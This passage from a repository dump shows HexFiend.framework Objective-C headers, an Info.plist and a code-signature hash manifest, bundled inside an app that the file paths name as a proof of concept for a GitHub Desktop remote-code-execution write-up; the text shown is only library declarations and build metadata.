27 | NS_ASSUME_NONNULL_END 28 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFStringEncodingTextRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFASCIITextRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | #import 10 | 11 | /*! @class HFStringEncodingTextRepresenter 12 | 13 | @brief An HFRepresenter responsible for showing data interpreted via an HFStringEncoding. 14 | 15 | HFHexTextRepresenter is an HFRepresenter responsible for showing and editing data interpreted via an HFStringEncoding. Currently only supersets of ASCII are supported. 16 | */ 17 | @interface HFStringEncodingTextRepresenter : HFTextRepresenter 18 | 19 | /*! Get the string encoding for this representer. */ 20 | @property (nonatomic) HFStringEncoding *encoding; 21 | 22 | /*! Set the string encoding for this representer. */ 23 | 24 | @end 25 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFTextField.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFTextField.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2008 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | #import 10 | 11 | @class HFLayoutRepresenter, HFRepresenter, HFController, HFHexTextRepresenter, HFStringEncodingTextRepresenter; 12 | 13 | /*! @class HFTextField 14 | @brief A high-level view class that is analagous to NSTextField. 15 | 16 | HFTextField encapsulates a HFController and HFRepresenters into a single "do it all" NSControl analagous to NSTextField. Its objectValue is an HFByteArray. It sends its \c action to its \c target when the user hits return. It has no control. 17 | 18 | An HFTextField can be configured to show a hexadecimal view, an ASCII view, or both. 19 | 20 | This class is currently missing a fair amount of functionality, such as enabled state. 21 | */ 22 | 23 | @interface HFTextField : NSControl { 24 | HFController *dataController; 25 | HFLayoutRepresenter *layoutRepresenter; 26 | HFHexTextRepresenter *hexRepresenter; 27 | HFStringEncodingTextRepresenter *textRepresenter; 28 | IBOutlet id target; 29 | SEL action; 30 | } 31 | 32 | @property (nonatomic) BOOL usesHexArea; ///< Whether the hexadecimal view is shown. 33 | @property (nonatomic) BOOL usesTextArea; ///< Whether the text area is shown. 34 | @property (nonatomic) HFStringEncoding *stringEncoding; ///< The string encoding used by the text area. 35 | @property (nonatomic, getter=isEditable) BOOL editable; ///< Whether the field is editable. 36 | 37 | @end 38 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFTextRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFTextRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | /*! @class HFTextRepresenter 14 | @brief An HFRepresenter that draws text (e.g. the hex or ASCII view). 15 | 16 | HFTextRepresenter is an abstract subclass of HFRepresenter that is responsible for displaying text. There are two concrete subclass, HFHexTextRepresenter and HFStringEncodingTextRepresenter. 17 | 18 | Most of the functionality of HFTextRepresenter is private, and there is not yet enough exposed to allow creating new representers based on it. However, there is a small amount of configurability. 19 | */ 20 | @interface HFTextRepresenter : HFRepresenter {} 21 | /*! Given a rect edge, return an NSRect representing the maximum edge in that direction, in the coordinate system of the receiver's view. The dimension in the direction of the edge is 0 (so if edge is NSMaxXEdge, the resulting width is 0). The returned rect is in the coordinate space of the receiver's view. If the byte range is not displayed, returns NSZeroRect. 22 | 23 | If range is entirely above the visible region, returns an NSRect whose width and height are 0, and whose origin is -CGFLOAT_MAX (the most negative CGFloat). If range is entirely below the visible region, returns the same except with CGFLOAT_MAX (positive). 24 | 25 | This raises an exception if range is empty. 26 | */ 27 | - (CGRect)furthestRectOnEdge:(CGRectEdge)edge forByteRange:(HFRange)range; 28 | 29 | /*! Returns the origin of the character at the given byte index. The returned point is in the coordinate space of the receiver's view. If the character is not displayed because it would be above the displayed range, returns {0, -CGFLOAT_MAX}. If it is not displayed because it is below the displayed range, returns {0, CGFLOAT_MAX}. As a special affordance, you may pass a byte index one greater than the contents length of the controller, and it will return the result as if the byte existed. 30 | */ 31 | - (CGPoint)locationOfCharacterAtByteIndex:(unsigned long long)byteIndex; 32 | 33 | /*! The per-row background colors. Each row is drawn with the next color in turn, cycling back to the beginning when the array is exhausted. Any empty space is filled with the first color in the array. If the array is empty, then the background is drawn with \c clearColor. 34 | */ 35 | @property (nonatomic, copy) NSArray *rowBackgroundColors; 36 | 37 | /*! Whether the text view behaves like a text field (YES) or a text view (NO). Currently this determines whether it draws a focus ring when it is the first responder. 38 | */ 39 | @property (nonatomic) BOOL behavesAsTextField; 40 | 41 | - (void)selectAll:(id)sender; 42 | 43 | @end 44 | 45 | NS_ASSUME_NONNULL_END 46 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFTextView.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFTextView.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2009 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @class HFLayoutRepresenter; 13 | 14 | /*! @class HFTextView 15 | @brief A high-level view class analagous to NSTextView. 16 | 17 | HFTextField encapsulates a HFController and HFRepresenters into a single "do it all" NSControl analagous to NSTextView. 18 | */ 19 | @interface HFTextView : NSControl { 20 | HFController *dataController; 21 | HFLayoutRepresenter *layoutRepresenter; 22 | BOOL bordered; 23 | IBOutlet __weak id delegate; 24 | NSData *cachedData; 25 | } 26 | 27 | /*! @name Accessing MVC components 28 | */ 29 | //@{ 30 | 31 | /// The HFController for the receiver. Useful for adding or removing HFRepresenters from the text view at runtime. An HFTextView comes with its own HFController, but you can replace it. 32 | @property (nonatomic, strong) HFController *controller; 33 | 34 | /// The HFLayoutRepresenter for the receiver. An HFTextView comes with its own HFLayoutRepresenter, but you can replace it. 35 | @property (nonatomic, strong) HFLayoutRepresenter *layoutRepresenter; 36 | 37 | /// Returns the HFByteArray for the receiver. This is equivalent to `[[self controller] byteArray]`. 38 | @property (nonatomic, strong, readonly) HFByteArray *byteArray; 39 | 40 | //@} 41 | 42 | /*! @name Display configuration 43 | */ 44 | //@{ 45 | /*! Sets the arry of background colors for the receiver. The background colors are used in sequence to draw each row. */ 46 | 47 | /// The array of background colors for the receiver. 48 | @property (nonatomic, copy) NSArray *backgroundColors; 49 | 50 | /// Whether the receiver draws a border. 51 | @property (nonatomic) BOOL bordered; 52 | //@} 53 | 54 | /// The delegate, which may implement the methods in HFTextViewDelegate. Initially nil. 55 | @property (nullable, nonatomic, weak) id delegate; 56 | 57 | /*! Access the contents of the HFTextView's HFByteArray as an NSData. 58 | When setting, the data is copied via the `-copy` message, so prefer to pass an immutable `NSData` when possible. 59 | When getting, the NSData proxies an HFByteArray, and therefore it is usually more efficient than naively copying all of the bytes. However, access to the `-byte` method will necessitate copying, a potentially expensive operation. Furthermore, the NSData API is inherently 32 bit in a 32 bit process. Lastly, there is no protection if the backing file for the data disappears. 60 | 61 | For those reasons, this should only be used when its convenience outweighs the downside (e.g. some bindings scenarios). For most use cases, it is better to use the `-byteArray` method above. 62 | */ 63 | @property (nullable, nonatomic, copy) NSData *data; 64 | 65 | 66 | @end 67 | 68 | /*! @protocol HFTextViewDelegate 69 | @brief Delegate methods for HFTextView 70 | */ 71 | @protocol HFTextViewDelegate 72 | 73 | /*! Called on the delegate when the HFTextView's HFController changed some properties. See the documentation for the #HFControllerPropertyBits enum. */ 74 | - (void)hexTextView:(HFTextView *)view didChangeProperties:(HFControllerPropertyBits)properties; 75 | 76 | @end 77 | 78 | NS_ASSUME_NONNULL_END 79 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFTypes.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /*! @brief HFRange is the 64 bit analog of NSRange, containing a 64 bit location and length. */ 4 | typedef struct { 5 | unsigned long long location; 6 | unsigned long long length; 7 | } HFRange; 8 | 9 | /*! @brief HFFPRange is a struct used for representing floating point ranges, similar to NSRange. It contains two long doubles. 10 | 11 | This is useful for (for example) showing the range of visible lines. A double-precision value has 53 significant bits in the mantissa - so we would start to have precision problems at the high end of the range we can represent. Long double has a 64 bit mantissa on Intel, which means that we would start to run into trouble at the very very end of our range - barely acceptable. */ 12 | typedef struct { 13 | long double location; 14 | long double length; 15 | } HFFPRange; 16 | 17 | #if TARGET_OS_IPHONE 18 | #define HFColor UIColor 19 | #define HFView UIView 20 | #define HFFont UIFont 21 | #else 22 | #define HFColor NSColor 23 | #define HFView NSView 24 | #define HFFont NSFont 25 | #endif 26 | 27 | typedef NS_ENUM(NSInteger, HFControllerSelectAction) { 28 | eSelectResult, 29 | eSelectAfterResult, 30 | ePreserveSelection, 31 | NUM_SELECTION_ACTIONS 32 | }; 33 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFUIUtils.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | NS_ASSUME_NONNULL_BEGIN 4 | 5 | NSUInteger HFLineHeightForFont(HFFont *font); 6 | 7 | NS_ASSUME_NONNULL_END 8 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFVerticalScrollerRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFRepresenterVerticalScroller.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | /*! @class HFVerticalScrollerRepresenter 11 | @brief An HFRepresenter responsible for showing a vertical scroll bar. 12 | 13 | HFVerticalScrollerRepresenter is an HFRepresenter whose view is a vertical NSScroller, that represents the current position within an HFController "document." It has no methods beyond those of HFRepresenter. 14 | 15 | As HFVerticalScrollerRepresenter is an especially simple representer, it makes for good sample code. 16 | */ 17 | @interface HFVerticalScrollerRepresenter : HFRepresenter { 18 | 19 | } 20 | 21 | @end 22 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HexFiend.h: -------------------------------------------------------------------------------- 1 | /*! @mainpage HexFiend.framework 2 | * 3 | * @section intro Introduction 4 | * HexFiend.framework (hereafter "Hex Fiend" when there is no risk of confusion with the app by the same name) is a framework designed to enable applications to support viewing and editing of binary data. The emphasis is on editing data in a natural way, following Mac OS X text editing conventions. 5 | * 6 | * Hex Fiend is designed to work efficiently with large amounts (64 bits worth) of data. As such, it can work with arbitrarily large files without reading the entire file into memory. This includes insertions, deletions, and in-place editing. Hex Fiend can also efficiently save such changes back to the file, without requiring any additional temporary disk space. 7 | * 8 | * Hex Fiend has a clean separation between the model, view, and controller layers. The model layer allows for efficient manipulation of raw data of mixed sources, making it useful for tools that need to work with large files. 9 | * 10 | * Both the framework and the app are open source under a BSD-style license. In summary, you may use Hex Fiend in any project as long as you include the copyright notice somewhere in the documentation. 11 | * 12 | * @section requirements Requirements 13 | * Hex Fiend is only available on Mac OS X, and supported on Mountain Lion and later. 14 | * 15 | * @section getting_started Getting Started 16 | * 17 | * The Hex Fiend source code is available at http://ridiculousfish.com/hexfiend/ and on GitHub at https://github.com/ridiculousfish/HexFiend 18 | * 19 | * Hex Fiend comes with some sample code ("HexFiendling"), distributed as part of the project. And of course the Hex Fiend application itself is open source, acting as a more sophisticated sample code. 20 | */ 21 | 22 | 23 | #import 24 | #import 25 | #import 26 | #import 27 | #import 28 | #import 29 | #import 30 | #import 31 | #import 32 | #import 33 | #if !TARGET_OS_IPHONE 34 | #import 35 | #import 36 | #import 37 | #import 38 | #endif 39 | #import 40 | #if !TARGET_OS_IPHONE 41 | #import 42 | #endif 43 | #import 44 | #import 45 | #import 46 | #import 47 | #import 48 | #import 49 | #import 50 | #if !TARGET_OS_IPHONE 51 | #import 52 | #import 53 | #endif 54 | #import 55 | #import 56 | #import 57 | #import 58 | 59 | 60 | /* The following is all for Doxygen */ 61 | 62 | 63 | /*! @defgroup model Model 64 | * Hex Fiend's model classes 65 | */ 66 | ///@{ 67 | ///@class HFByteArray 68 | ///@class HFBTreeByteArray 69 | ///@class HFFullMemoryByteArray 70 | ///@class HFByteSlice 71 | ///@class HFFileByteSlice 72 | ///@class HFSharedMemoryByteSlice 73 | ///@class HFFullMemoryByteSlice 74 | 75 | ///@} 76 | 77 | 78 | /*! @defgroup view View 79 | * Hex Fiend's view classes 80 | */ 81 | ///@{ 82 | ///@class HFRepresenter 83 | ///@class HFHexTextRepresenter 84 | ///@class HFStringEncodingTextRepresenter 85 | ///@class HFLayoutRepresenter 86 | ///@class HFLineCountingRepresenter 87 | ///@class HFStatusBarRepresenter 88 | ///@class HFVerticalScrollerRepresenter 89 | ///@class HFLineCountingRepresenter 90 | 91 | ///@} 92 | 93 | /*! @defgroup controller Controller 94 | * Hex Fiend's controller classes 95 | */ 96 | ///@{ 97 | ///@class HFController 98 | 99 | ///@} 100 | 101 | /*! @defgroup highlevel High Level 102 | * Hex Fiend's "do it all" classes 103 | */ 104 | ///@{ 105 | ///@class HFTextView 106 | ///@class HFTextField 107 | 108 | ///@} 109 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/HexFiend: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/HexFiend -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Resources/HFModalProgress.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Resources/HFModalProgress.nib -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Resources/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 20D91 7 | CFBundleDevelopmentRegion 8 | English 9 | CFBundleExecutable 10 | HexFiend 11 | CFBundleIdentifier 12 | com.ridiculousfish.HexFiend-Framework 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundlePackageType 16 | FMWK 17 | CFBundleShortVersionString 18 | 2.14.1 19 | CFBundleSignature 20 | ???? 21 | CFBundleSupportedPlatforms 22 | 23 | MacOSX 24 | 25 | CFBundleVersion 26 | 200 27 | DTCompiler 28 | com.apple.compilers.llvm.clang.1_0 29 | DTPlatformBuild 30 | 12D4e 31 | DTPlatformName 32 | macosx 33 | DTPlatformVersion 34 | 11.1 35 | DTSDKBuild 36 | 20C63 37 | DTSDKName 38 | macosx11.1 39 | DTXcode 40 | 1240 41 | DTXcodeBuild 42 | 12D4e 43 | LSMinimumSystemVersion 44 | 10.11 45 | SMPrivilegedExecutables 46 | 47 | com.ridiculousfish.HexFiend.PrivilegedHelper 48 | certificate leaf[subject.CN] = "Hex Fiend" 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/_CodeSignature/CodeResources: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | files 6 | 7 | Resources/HFModalProgress.nib 8 | 9 | EppCXpcPp9wtcM3uv28oszq9es0= 10 | 11 | Resources/Info.plist 12 | 13 | pLYbnXYMmD2Bdu4JF4h9akHnTFQ= 14 | 15 | 16 | files2 17 | 18 | Headers/HFAssert.h 19 | 20 | hash 21 | 22 | xLM5ILum6Y/YcNJrR+blcbu+ZfE= 23 | 24 | hash2 25 | 26 | rxhku3WjQy2EyIVFV9k3P/3TOSSrk/EH6JW8Ao/V52Q= 27 | 28 | 29 | Headers/HFAttributedByteArray.h 30 | 31 | hash 32 | 33 | 2A0CCrqu+1sgrGw4pLPCHUCNy5U= 34 | 35 | hash2 36 | 37 | 5wq3nZI8QvFFHXo6BtTVrLVeZaq2rXVLlFqxeGqxoBE= 38 | 39 | 40 | Headers/HFBTreeByteArray.h 41 | 42 | hash 43 | 44 | 71HKfOQj4JQ2LGZGJnnKKmhA2JY= 45 | 46 | hash2 47 | 48 | um0B/a6RF0cstKVnAVI9Zk0anhHyTeYXnibMgZVUbS4= 49 | 50 | 51 | Headers/HFBinaryGlyphTable.h 52 | 53 | hash 54 | 55 | h/+fT1hq8JCE2QiH0LeyBoRmstY= 56 | 57 | hash2 58 | 59 | ThNm3L10rR8e0sdn0GrVHVZHMFBE5NTnWLxqxynPD9g= 60 | 61 | 62 | Headers/HFBinaryTextRepresenter.h 63 | 64 | hash 65 | 66 | REF0s/3gM53NFNOLcYZAK66jctI= 67 | 68 | hash2 69 | 70 | R0W8x6RlJCgwHp+lOFM+Vl89FtXPtFTOkAyBB2d6f9s= 71 | 72 | 73 | Headers/HFByteArray.h 74 | 75 | hash 76 | 77 | suFriD38m2pbyfDPsGxsEFpC2QM= 78 | 79 | hash2 80 | 81 | sqHNiJahTcxV746Qa/LvjMazs35gLml2SVotZMPXQPM= 82 | 83 | 84 | Headers/HFByteArrayEditScript.h 85 | 86 | hash 87 | 88 | +qzHLj5KbKZiw/L+Mm+txhuSEOI= 89 | 90 | hash2 91 | 92 | PYQBJfkIICl/W8Ze0ZhBDk42vIyeP7dvBeOm6qD+HcY= 93 | 94 | 95 | Headers/HFByteRangeAttribute.h 96 | 97 | hash 98 | 99 | /uEEadhhZCK1Ck++HGV/BQC1Apg= 100 | 101 | hash2 102 | 103 | QlFiPkJqqZqhwku5qkkpyeWuAn7CHFEc/k76oCxm9BM= 104 | 105 | 106 | Headers/HFByteRangeAttributeArray.h 107 | 108 | hash 109 | 110 | OoHPDZyoFx2RE7GFenpzxM/F7fE= 111 | 112 | hash2 113 | 114 | OerFH81JYetp8W0qhU07B2pDw4FGUDi6N/KsIiNdRWY= 115 | 116 | 117 | Headers/HFByteSlice.h 118 | 119 | hash 120 | 121 | dwHOP23sMsmuygAOmelAqVJXiuQ= 122 | 123 | hash2 124 | 125 | MsfE2kTs4YNNXfOQzz1dPIxoTG7y6056jj8o5Dcx744= 126 | 127 | 128 | Headers/HFCancelButton.h 129 | 130 | hash 131 | 132 | ER7xp8OBks+1BNVKwJ8xjxTWd/g= 133 | 134 | hash2 135 | 136 | wqHM3JPtZO8Nv14AZOKYLY94Ueg1x85t9Ry4BVkRY+k= 137 | 138 | 139 | Headers/HFColumnRepresenter.h 140 | 141 | hash 142 | 143 | NBB5k+VV5NBz2bIol520nn2zhnY= 144 | 145 | hash2 146 | 147 | 5ofk8OYEx/llA3cTx+1x8RWmfTebnmSWRDf8XLZUqAI= 148 | 149 | 150 | Headers/HFColumnView.h 151 | 152 | hash 153 | 154 | vqu/qtIZ/hbtABMNGAxEnm962gA= 155 | 156 | hash2 157 | 158 | Pi22c5PL7D2VeFAR4QtwmZgDKXWVPdxSxhXE5Kyz4II= 159 | 160 | 161 | Headers/HFController.h 162 | 163 | hash 164 | 165 | bVM3g8PiF1vgvMiZMCW0R7sryGk= 166 | 167 | hash2 168 | 169 | IfVHT59Wry0+CE91Ko64bqvpLsNyPV2uEZPGHZufv5E= 170 | 171 | 172 | Headers/HFCustomEncoding.h 173 | 174 | hash 175 | 176 | F+9NKuYRXixfwKJUxHMNrMuqpjQ= 177 | 178 | hash2 179 | 180 | 1J+4JkAQrPzl5n9+eC9HRu1fSOCwtzBrFG0oq2yhJO8= 181 | 182 | 183 | Headers/HFEncodingManager.h 184 | 185 | hash 186 | 187 | 6M2HBhcmW+wWPgZ/eGgQHd1DE5o= 188 | 189 | hash2 190 | 191 | 0w9y7Yqb+u66MXfZTFcuCEKg6VPzcCH6T1Q9lwmrEC8= 192 | 193 | 194 | Headers/HFFastMemchr.h 195 | 196 | hash 197 | 198 | 0P7hNjBMGGstI3345HIrxSlHf3A= 199 | 200 | hash2 201 | 202 | rcLroXA7nHGIrPheiFzBk3LG8RJFW1MxrlOcg+rh8fM= 203 | 204 | 205 | Headers/HFFileByteSlice.h 206 | 207 | hash 208 | 209 | B/aC5F5H+gkdOHRGVlnb3CvqGJI= 210 | 211 | hash2 212 | 213 | HqTaw3hGQh95G3nSXoxO1XkfITNWDE2HuiTcruXrS/Q= 214 | 215 | 216 | Headers/HFFileReference.h 217 | 218 | hash 219 | 220 | 2VZFc8UULtN0t9HY9F4EUji60OE= 221 | 222 | hash2 223 | 224 | Bp+Se7fr1Z6gP0QO8vHudVn9XoKl2usDB9ILTXvV7RU= 225 | 226 | 227 | Headers/HFFrameworkPrefix.h 228 | 229 | hash 230 | 231 | XQV0daiA9t3rB8PfuD9BAimzQr8= 232 | 233 | hash2 234 | 235 | Rtqd2FOPknWnTjXW1XkaAOxNgaFe6KizFAumxTU505I= 236 | 237 | 238 | Headers/HFFullMemoryByteArray.h 239 | 240 | hash 241 | 242 | mbJtCzGm7uF1tSDgx6DlZklZYwg= 243 | 244 | hash2 245 | 246 | 1rUHfz5Nl2t5PP59OP4aAwddGxXrnFOWspreh2mPaMM= 247 | 248 | 249 | Headers/HFFullMemoryByteSlice.h 250 | 251 | hash 252 | 253 | LOD6yPIQLoJ0PqbWFY1uwfjQ/NE= 254 | 255 | hash2 256 | 257 | nopUKyKy1aEuz3pqp3ZjpgP+cMi9bTUQmjp+hJvI2E4= 258 | 259 | 260 | Headers/HFFunctions.h 261 | 262 | hash 263 | 264 | mmCETmjukZsZyGC/Knr0FmQ/YGM= 265 | 266 | hash2 267 | 268 | yfn54TGALpzvRU/taFjiBBnkQ//7gFVf5hMhdS7CCj0= 269 | 270 | 271 | Headers/HFGlyphTrie.h 272 | 273 | hash 274 | 275 | A5JfLrbLcKbCaaBhkv3YKlcTU2c= 276 | 277 | hash2 278 | 279 | 1PYDhJ8MC7R3QPhwGwq4Jm1niG3rmWNQAv9OOt2e+1s= 280 | 281 | 282 | Headers/HFHexGlyphTable.h 283 | 284 | hash 285 | 286 | OXtIHohMlWlFxFOUTVRYzd3Jn+s= 287 | 288 | hash2 289 | 290 | QcoZjj7XXlm5dEm7Z4oJdfkOyDjJDIH4BawCs78ymzc= 291 | 292 | 293 | Headers/HFHexPasteboardOwner.h 294 | 295 | hash 296 | 297 | M83Qu5OBLl0YtrOxEwa52zKFgWk= 298 | 299 | hash2 300 | 301 | yiYBXQbQVcKKfJjUHfOd5CZEu1QyhpflKJhRAx6xQjk= 302 | 303 | 304 | Headers/HFHexTextRepresenter.h 305 | 306 | hash 307 | 308 | j2klq4+eEAXcgv58RQZLN54uJn8= 309 | 310 | hash2 311 | 312 | cWwltCXQc8CZX4XHx9cnta8dND3h3nW7s2LJVj+CR1I= 313 | 314 | 315 | Headers/HFLayoutRepresenter.h 316 | 317 | hash 318 | 319 | QX0yo/3c/cpfz+P0d18dbRuYvnE= 320 | 321 | hash2 322 | 323 | GvKCgTIz2+zngTzbT/HPgi0yX59PVmFaIxVe3SgZ9lU= 324 | 325 | 326 | Headers/HFLineCountingRepresenter.h 327 | 328 | hash 329 | 330 | MCqLfsMEcjy9Yn+eSkF75bl4EO8= 331 | 332 | hash2 333 | 334 | NN2pJW4KE7Ebf5AZNQrS3jyfSjQ3hfk9PNHcvh9nZWU= 335 | 336 | 337 | Headers/HFLineCountingView.h 338 | 339 | hash 340 | 341 | FUaAmoEkU8JZNSwaQ4X/61iwVC8= 342 | 343 | hash2 344 | 345 | erEPlCID5vXd3EQg1KS1kYpalWCRROivZSBmsf0lMe4= 346 | 347 | 348 | Headers/HFNSStringEncoding.h 349 | 350 | hash 351 | 352 | 3HC+ko4CRP9brNXLkWXHPCc6PpQ= 353 | 354 | hash2 355 | 356 | 8KM3TC8cOlHmZGrSpudacKwjIJS0OT/r1gAVLKsQwHE= 357 | 358 | 359 | Headers/HFPasteboardOwner.h 360 | 361 | hash 362 | 363 | uGKwi0mzsEILwaP379ECatsuFMM= 364 | 365 | hash2 366 | 367 | tdQuCxw/VzN0fN/wBVAikY3xTWySdp2YSzTt8hcTMrg= 368 | 369 | 370 | Headers/HFProgressTracker.h 371 | 372 | hash 373 | 374 | w99GAPw0GnBP+hnAHewX9tWV7f4= 375 | 376 | hash2 377 | 378 | NNbAhAvTf+nB/8NfYnLFiOrR3KTMWT1YbN+c+ZbmHMo= 379 | 380 | 381 | Headers/HFRepresenter.h 382 | 383 | hash 384 | 385 | V3dy+lji1Lc8LUMoaz6QBTyANvo= 386 | 387 | hash2 388 | 389 | S1j5xuT5WfmH0m7v80xRrR9GJBjZC8F9USzq20G/5/g= 390 | 391 | 392 | Headers/HFRepresenterTextView.h 393 | 394 | hash 395 | 396 | lANd1GLMh/u5nSarhpCWWYRyUfw= 397 | 398 | hash2 399 | 400 | N4ggt9sWrgtLo+V4S7cnj+Va+jcU6jitKJ8UBXCwDxw= 401 | 402 | 403 | Headers/HFSharedMemoryByteSlice.h 404 | 405 | hash 406 | 407 | hRqw95z6JUnm3SBpU4jL6tBQxTQ= 408 | 409 | hash2 410 | 411 | 8JIia+2zoTKGImiit483Y2uGCP6JKmKaRQcycmPe0PE= 412 | 413 | 414 | Headers/HFStatusBarRepresenter.h 415 | 416 | hash 417 | 418 | jeWJWTOBfXw6leKB6Q3mbuzW8oY= 419 | 420 | hash2 421 | 422 | VNaMUvAyswApMJvqv6fApjcxNjYVxSM3zDS5ifgt7N0= 423 | 424 | 425 | Headers/HFStringEncoding.h 426 | 427 | hash 428 | 429 | TiZDF2e7UxdsXag12WaSS9qpeyc= 430 | 431 | hash2 432 | 433 | RhJWE8Bz68xINKJXB0N/6UEZX+nFzvM1tfBw8+ElAkw= 434 | 435 | 436 | Headers/HFStringEncodingTextRepresenter.h 437 | 438 | hash 439 | 440 | bbdvNwvZ1tspyT+eel5+XftvsAo= 441 | 442 | hash2 443 | 444 | 95CQfxteJAcYtOqKXoquBxjZyt3whlQxy0Bq/4rlDTo= 445 | 446 | 447 | Headers/HFTextField.h 448 | 449 | hash 450 | 451 | C9l0lslKPf/V2XKyqzgc97qyflc= 452 | 453 | hash2 454 | 455 | EvjySd4/rUkkYWJlFsjVXTh1Ev8WUGRb9zzYInDB+ag= 456 | 457 | 458 | Headers/HFTextRepresenter.h 459 | 460 | hash 461 | 462 | riy+kJJzG4oPmgsLlLgbfQ98VJQ= 463 | 464 | hash2 465 | 466 | nVrkvbUN8q7G/nqnXjpBUBxvefYdzc+QsepXhsHZ0u0= 467 | 468 | 469 | Headers/HFTextView.h 470 | 471 | hash 472 | 473 | Kcy/YQsDXU2LixAu5GS/mMZSR48= 474 | 475 | hash2 476 | 477 | ShHD7L71qCvkMxg1t2H9e9bmI5kRd1D8tnAWkCvn2oA= 478 | 479 | 480 | Headers/HFTypes.h 481 | 482 | hash 483 | 484 | 0cRN1c+yvihmOQINxn6h8i2lGPw= 485 | 486 | hash2 487 | 488 | d55RA9cGVUSh+WM7HOnYwmrPNrGYqB42Z3MdM2X5sNU= 489 | 490 | 491 | Headers/HFUIUtils.h 492 | 493 | hash 494 | 495 | IobytzJztr3zIDkDw7QqjKquu9U= 496 | 497 | hash2 498 | 499 | EgU5q7Jfpuu3uKJkSS7vmYWYLqht0MI0etnRPQ5DWJg= 500 | 501 | 502 | Headers/HFVerticalScrollerRepresenter.h 503 | 504 | hash 505 | 506 | NvICHd0WNQtSS4SqpwEH5av9Its= 507 | 508 | hash2 509 | 510 | VZtLJQcRX+xdyS6RuPM6PcgQZJu6ax53zbNzKlXJPuw= 511 | 512 | 513 | Headers/HexFiend.h 514 | 515 | hash 516 | 517 | BIDpyQHD+QX1OT3Onm2vQGSglag= 518 | 519 | hash2 520 | 521 | JUmxFq3efNmbV3BRf1Rsdgk5uTqussTWXGAMO8VmEag= 522 | 523 | 524 | Resources/HFModalProgress.nib 525 | 526 | hash 527 | 528 | EppCXpcPp9wtcM3uv28oszq9es0= 529 | 530 | hash2 531 | 532 | A0gQcTjkLE9qZVt4MpNNW+QLFJ/9B8L+izAqHm3/zRY= 533 | 534 | 535 | Resources/Info.plist 536 | 537 | hash 538 | 539 | pLYbnXYMmD2Bdu4JF4h9akHnTFQ= 540 | 541 | hash2 542 | 543 | 6wnLstHP8b5V872Fcf6TXem8tmwbZSuNFsUx9JC02fI= 544 | 545 | 546 | 547 | rules 548 | 549 | ^Resources/ 550 | 551 | ^Resources/.*\.lproj/ 552 | 553 | optional 554 | 555 | weight 556 | 1000 557 | 558 | ^Resources/.*\.lproj/locversion.plist$ 559 | 560 | omit 561 | 562 | weight 563 | 1100 564 | 565 | ^Resources/Base\.lproj/ 566 | 567 | weight 568 | 1010 569 | 570 | ^version.plist$ 571 | 572 | 573 | rules2 574 | 575 | .*\.dSYM($|/) 576 | 577 | weight 578 | 11 579 | 580 | ^(.*/)?\.DS_Store$ 581 | 582 | omit 583 | 584 | weight 585 | 2000 586 | 587 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ 588 | 589 | nested 590 | 591 | weight 592 | 10 593 | 594 | ^.* 595 | 596 | ^Info\.plist$ 597 | 598 | omit 599 | 600 | weight 601 | 20 602 | 603 | ^PkgInfo$ 604 | 605 | omit 